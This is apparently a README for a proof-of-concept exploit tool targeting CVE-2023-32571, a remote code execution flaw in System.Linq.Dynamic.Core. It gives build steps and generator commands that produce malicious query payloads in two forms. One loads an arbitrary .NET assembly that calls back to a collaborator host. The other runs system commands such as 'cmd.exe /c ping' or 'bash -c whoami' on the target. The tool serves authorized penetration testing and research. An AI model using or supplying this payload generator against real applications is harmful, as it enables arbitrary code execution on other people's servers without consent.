🐞 CVE-2023-32571 - System.Linq.Dynamic.Core Remote Code Execution

Proof of Concept for CVE-2023-32571, a remote code execution vulnerability in System.Linq.Dynamic.Core (1.0.7.10 to 1.2.25). This vulnerability allows attackers to execute arbitrary code and commands when untrusted input to methods including Where, Select, OrderBy is parsed.

⚠️ Disclaimer

This tool is provided for educational and authorized testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. The developers assume no liability and are not responsible for any misuse or damage caused by this program.

🎯 Prerequisites

• .NET 9.0 SDK or later
• Target application using vulnerable version of System.Linq.Dynamic.Core (1.0.7.10 to 1.2.25)
• A collaborator server (e.g., Burp Collaborator, Interactsh) to observe callbacks

🛠️ Building the Project

1. Build the project:
   root@kitploit:~

   dotnet build --configuration Release
   

   The build will produce
   • Payload DLL at Payload/bin/Release/netstandard2.0/Payload.dll
   • Payload Generator at Generator/bin/Release/net9.0/Generator.dll

🚀 Usage

Modes

The tool supports two modes:

1. AssemblyLoad (Mode 0): Load and execute a custom .NET assembly
2. ProcessStart (Mode 1): Execute system commands directly via Process.Start

Mode 0: AssemblyLoad (Default)

# Using Base64 encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1

# Using Hex encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0

# Using Base64 encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1

# Using Hex encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0

Mode 1: ProcessStart (Direct Command Execution)

# Windows command execution
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"

# Linux command execution  
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"

⚙️ Parameters

• --mode: Exploitation mode (0=AssemblyLoad, 1=ProcessStart)
• --file: Path to the .NET assembly to load (required for AssemblyLoad mode)
• --type: Fully qualified type name to instantiate (required for AssemblyLoad mode)
• --parameters: Parameters based on mode:
  • AssemblyLoad: Constructor parameters (comma-separated)
  • ProcessStart: Command to execute (e.g., 'cmd.exe /c whoami' or 'bash -c whoami')
• --encoding: Encoding method for AssemblyLoad mode (0=Hex, 1=Base64)

📚 References

• NIST NVD
• NCCGROUP Advisory
• System.Linq.Dynamic.Core GitHub Repository